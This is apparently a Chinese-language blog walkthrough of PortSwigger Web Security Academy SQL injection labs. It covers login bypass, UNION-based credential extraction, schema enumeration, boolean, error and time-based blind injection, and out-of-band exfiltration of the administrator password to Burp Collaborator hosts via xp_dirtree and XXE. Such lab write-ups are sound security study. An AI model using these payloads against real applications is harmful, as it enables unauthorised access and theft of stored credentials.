portswigger SqlInjection
portswigger靶场 SQL注入
SQL injection cheat sheet | Web Security Academy (portswigger.net)
🧪实验1:WHERE子句中的SQL注入漏洞允许检索隐藏数据
payload:' OR 1=1--
颠覆应用逻辑
对于执行以下SQL来检查凭据,如果查询返回用户的详细信息,则登录成功,否则,登录失败
1
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
在这种情况下,用户可以以任何身份登录,而无需密码。通过
--
注释掉密码的判断,即可登录成功。例子:
1
2SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
# 此查询将返回username为administrator的用户的详细信息,而不需要密码
🧪实验2:允许绕过登录的SQL注入漏洞
”万能密码”payload:administrator'--
确定所需的列数
使用一系列
ORDER BY
子句,直到应用程序返回错误1
2
3
4
5
6
7
8' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
# 这一系列有效负载修改了原始查询,按照结果集中不同列对结果进行排序
# `ORDER BY`子句中的列可以由其索引指定,因此不需要知道任何列名
# 当指定的列索引超出了结果集中的列数时,应用程序通常会返回错误使用一系列指定不同数量的空值的
UNION SELECT
语句,直到应用程序不再返回错误1
2
3
4
5
6
7' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
# 如果NULL的数量不匹配,数据库将返回错误
# NULL可以为每一种常见的数据类型,因此当列数正确时,能最大限度地提高了有效负载成功的机会
🧪实验3:SQL注入UNION攻击,确定查询返回的列数
Oracle上DUAL的内置表
Oracle 数据库中的 DUAL
表是一个特殊的单行单列表,通常用于从数据库中获取常量值或表达式的结果。以下是关于 DUAL
表的一些要点:
- 定义:
DUAL
表是 Oracle 自动创建的,始终存在于每个 Oracle 数据库中。其主要目的是为没有特定表的查询提供一个虚拟的表。 - 结构:
DUAL
表只有一列,列名为DUMMY
,类型为VARCHAR2(1)
,并且只包含一行数据,值为'X'
。
在Oracle上,每个
SELECT
语句必须包含FROM
关键字并指定一个有效的表。Oracle上有一个名为DUAL的内置表,因此在Oracle上执行UNION攻击时查询可以是:
1
' UNION SELECT NULL FROM DUAL--
查找具有有用数据类型的列
SQL注入UNION攻击能从注入的查询中检索结果。通常想要检索的数据是字符串形式的。这意味着需要在原始查询结果中找到数据类型为字符串数据或与字符串数据兼容的一个或多个列。
确定所需列的数量后,可以探测每一列以测试它是否可以容纳字符串数据,可以提交一系列的
UNION SELECT
的payload,依次将字符串数据插入到每一列中。如果列数据类型与字符串数据不兼容,则注入的查询将导致数据库错误。如果没有发生错误,并且应用程序的响应包含一些附加内容(包括注入的字符串值),则相关列适合于检索字符串数据。例子:
1
2
3
4
5# 首先确定查询返回的列数是4列,然后探测每一列以测试它是否可以容纳字符串数据
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
🧪实验4:SQL注入UNION攻击,查找具有有用数据类型的列
payload:?category=Accessories' UNION SELECT NULL,'eDqVcW',NULL--
🧪实验5:SQL注入UNION攻击,从其他表中检索数据
首先确认列数:
1
2
3?category=Accessories' UNION SELECT NULL--
?category=Accessories' UNION SELECT NULL,NULL--
# 成功,说明返回的列数为2然后确定每一列的类型:
1
2
3?category=Accessories' UNION SELECT 'a',NULL--
?category=Accessories' UNION SELECT NULL,'a'--
# 两个都成功,说明两列都是字符串类型使用
?category=Accessories' UNION SELECT username, password FROM users
进行注入,成功获取username
和password
列的数据
在单个列中检索多个值
在某些情况下,上一个示例中的查询可能只返回单个列。通过将值连接在一起,可以在此单个列中同时检索多个值。可以包含分隔符以区分组合值。
例子:
1
2
3
4
5
6' UNION SELECT username || '~' || password FROM users--
# 在Oracle数据库中,可以使用`||`连接运算符来连接值
# 将`username`和`password`连接在一起,并使用`~`作为分隔符,查询的结果包含所有用户名和密码例如:
# ···
# administrator~s3cure
# wiener~peter
🧪实验6:SQL注入UNION攻击,在单个列中检索多个值
首先确认列数:
1
2
3?category=Lifestyle' UNION SELECT NULL--
?category=Lifestyle' UNION SELECT NULL,NULL--
# 成功,说明返回的列数为2然后确认每一列的类型:
1
2
3
4?category=Lifestyle' UNION SELECT 'a',NULL--
# 报错,说明第一列是不是字符串类型
?category=Lifestyle' UNION SELECT NULL,'a'--
# 成功,说明第二列是字符串类型只有一列是字符串,因此需要在单个列中检索
username
和password
拼接值。猜测这是一个mysql数据库,因此使用CONCAT函数进行拼接:
1
?category=Lifestyle' UNION SELECT NULL,CONCAT(username, '~', password) FROM users--
检查SQL注入攻击中的数据库
- 要利用SQL注入漏洞,通常需要查找有关数据库的信息,这包括:
- 数据库软件的类型和版本
- 数据库包含的表和列
检查数据库的版本和类型
以下是一些用来确定某些常用数据库类型的数据库版本:
数据库类型 | 查询 |
---|---|
Microsoft,MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
🧪实验7:SQL注入攻击,查询数据库类别和版本
Oracle:'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
MySQL and Microsoft:'+UNION+SELECT+@@version,+NULL#
列出数据库的内容
大多数数据库类型(Oracle除外),都有一个名为
information_schema
的系统表,其中包含有关数据库的信息。可以使用这个表来列出数据库中的表和列。例:
可以查询
information_schema.tables
表来列出数据库中的表:1
SELECT * FROM information_schema.tables
可以查询
information_schema.columns
表来列出数据库中的列:1
SELECT * FROM information_schema.columns WHERE table_name = 'users'
Oracle:
可以通过查询 all_tables
列出表:
1 | SELECT * FROM all_tables |
可以通过查询 all_tab_columns
列出列:
1 | SELECT * FROM all_tab_columns WHERE table_name = 'USERS' |
🧪实验8:SQL注入攻击,列出非Oracle数据库上的数据库内容
查询数据库中的表:
1 | ?category=Gifts' UNION SELECT table_name, NULL FROM information_schema.tables-- |
发现一个名为users_kdzjph
的表,猜测是目标表,尝试查询表中的列:
1 | ?category=Gifts' UNION SELECT COLUMN_NAME, NULL FROM information_schema.columns WHERE table_name = 'users_kdzjph'-- |
查询到了password_ifndxh
和username_aeoisd
列,查询所有用户的用户名和密码:
1 | ?category=Gifts' UNION SELECT username_aeoisd,password_ifndxh FROM users_kdzjph-- |
Oracle:
查表:'+UNION+SELECT+table_name,NULL+FROM+all_tables--
查字段名:'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--
查字段值:'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--
通过触发条件响应利用SQL盲注(布尔盲注)
假设有一个名为
Users
的表,其中包含username
和password
列,以及一个名为Administators
的用户。我们可以通过发送一系列输入来确定此用户的密码,以便每次测试密码的一个字符。首先可以输入:
1
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
这将返回
Welcome back
,表明注入的条件为真,因此密码的第一个字符大于m
。然后可以输入:
1
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
这将不返回
Welcome back
,表明注入的条件为假,因此密码的第一个字符不大于t
。最后输入以下信息,它返回Welcome back,表明密码的第一个字符是s:
1
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
通过重复这个过程,可以确定密码的每个字符。
在Oracle数据库中,**SUBSTRING
函数被称为SUBSTR
。**
🧪实验9:带条件响应的SQL盲注
确定注入点:在cookie的TrackingId
中注入' AND '1'='1
和' AND '1'='2
,发现返回的结果不一样,说明存在注入点
拼接TrackingId
,使用AND
条件来判断密码的每一位
1 | ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 'm |
网上的一个脚本:
1 | import requests |
portswigger的测试密码长度:
1 | TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a |
基于错误的SQL注入(报错盲注)
假设发送了两个请求,依次包含以下TrackingId cookie值:
1
2xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a这些输入使用CASE关键字来测试条件,并根据表达式是否为true返回不同的表达式:
- 对于第一个输入,CASE表达式的计算结果为’a’,这不会导致任何错误。
- 对于第二个输入,它的计算结果为1/0,这会导致被零除错误。
如果错误导致应用程序的HTTP响应不同,则可以使用它来确定注入的条件是否为true。
使用此技术,您可以通过一次测试一个字符来检索数据:
1
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
🧪实验10:带条件错误的SQL盲注入
查询一个特殊的表:'||(SELECT '' FROM dual)||'
表明数据库是Oracle。
验证是否收到错误消息。
1 | TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' |
验证错误是否消失。这表明您可以根据特定条件的真值有条件地触发错误。
1 | TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' |
使用以下查询来检查用户名 administrator
是否存在:
1 | TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' |
SUBSTR()函数从密码中提取单个字符
1 | '||(select case when substr(password,1,1)='a' then to_char(1/0) else'' end from users where username='administrator')||' |
网上没有脚本,决定自己改出来一个,同一个靶场,思路很相似:
1 | import requests |
通过详细的SQL错误消息提取敏感数据
数据库的错误配置有时会导致详细的错误消息。这些可能会提供对攻击者有用的信息。例如,考虑以下错误消息,它在将单引号注入id参数后出现:
1
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
这显示了应用程序使用我们的输入构造的完整查询。我们可以看到,在本例中,我们将注入到WHERE语句中的单引号字符串中。这使得构造包含恶意负载的有效查询变得更加容易。注释掉查询的其余部分可以防止多余的单引号破坏语法。
有时候,您可能会导致应用程序生成一条错误消息,其中包含查询返回的某些数据。这有效地将一个原本是盲目的SQL注入漏洞变成了一个可见的漏洞。
您可以使用CAST()函数来实现这一点。它使您能够将一种数据类型转换为另一种数据类型。例如,假设一个查询包含以下语句:
1
CAST((SELECT example_column FROM example_table) AS int)
通常,你试图读取的数据是一个字符串。尝试将其转换为不兼容的数据类型(如int)可能会导致类似以下的错误:
1
ERROR: invalid input syntax for type integer: "Example data"
如果字符限制阻止您触发条件响应,这种类型的查询也可能很有用。
🧪实验11:可视的基于错误的SQL注入
CAST()是PostgreSQL数据库用于将某种数据类型的表达式显式转换为另一种数据类型的函数。
CAST (expression AS data_type)
expression:任何有效的表达式。
AS:用于分隔两个参数,在AS之前的是要处理的数据,在AS之后是要转换的数据类型。
' and 1=cast((select 'aaaaaa') as int)--
,这里报错显示了我们select查询的内容,可以利用
尝试限制查询一行
1 | ' and 1=cast((select username from users limit 1) as int)-- |
1 | ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- |
通过触发时间延迟来利用SQL盲目注入(延时盲注)
如果应用程序在执行SQL查询时捕获数据库错误并妥善处理它们,则应用程序的响应不会有任何差异。这意味着前面的诱导条件错误的技术将不起作用。
在这种情况下,通常可以通过根据注入条件为true还是false触发时间延迟来利用SQL盲注入漏洞。由于SQL查询通常由应用程序同步处理,因此延迟SQL查询的执行也会延迟HTTP响应。这允许您根据接收HTTP响应所花费的时间来确定注入条件的真实性。
触发时间延迟的技术特定于所使用的数据库类型。例如,在Microsoft SQL Server上,您可以使用以下内容来测试条件并根据表达式是否为true触发延迟:
1
2'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--- 在这种情况下,第一个查询将不会触发延迟,而第二个查询将会触发10秒的延迟。
使用这种技术,我们可以通过一次测试一个字符来检索数据:
1
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
Time delays
在处理查询时,可能会导致数据库出现时间延迟。以下将导致 10 秒的无条件时间延迟。
数据库类型 | |
---|---|
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
Oracle | dbms_pipe.receive_message(('a'),10) |
🧪实验12:带时间延迟的SQL盲注入
1 | '||pg_sleep(10) -- |
🧪实验12:带时间延迟的SQL盲注入的信息检索
判断密码的每个字符
1 | TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- |
1 | import requests |
找完之后不会停,可以先注入确定长度
利用带外(OAST)技术进行SQL盲注入(带外盲注)
- 应用程序可能执行与上一个示例相同的SQL查询,但异步执行。应用程序继续在原始线程中处理用户的请求,并使用另一个线程使用跟踪cookie执行SQL查询。该查询仍然容易受到SQL注入的攻击,但目前为止所描述的技术都不起作用。应用程序的响应不依赖于查询是否返回任何数据、是否发生数据库错误或执行查询所花费的时间。
- 在这种情况下,通常可以通过触发与您控制的系统的带外网络交互来利用SQL盲注入漏洞。这些可以基于注入的条件来触发,以每次推断一条信息。更有用的是,数据可以直接在网络交互中泄露。
- 多种网络协议可用于此目的,但通常最有效的是DNS(域名服务)。许多生产网络允许DNS查询的自由出口,因为它们对于生产系统的正常运行至关重要。
🧪实验13:带外交互的SQL盲注入
触发 DNS 查询的技术特定于所使用的数据库类型。例如,Microsoft SQL Server 上的以下输入可用于在指定域上进行 DNS 查找:
1 | '; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'-- |
可以将 SQL 注入与基本的 XXE 技术相结合,如下所示:
1 | TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual-- |
🧪实验14:带外数据渗出的SQL盲注入
确认了触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中泄露数据。例如:
1 | '; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')-- |
payload:
1 | TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual-- |
- Title: portswigger SqlInjection
- Author: Fc04dB
- Created at : 2024-10-31 18:20:53
- Updated at : 2024-11-01 17:38:46
- Link: https://redefine.ohevan.com/2024/10/31/portswigger-SqlInjection/
- License: This work is licensed under CC BY-NC-SA 4.0.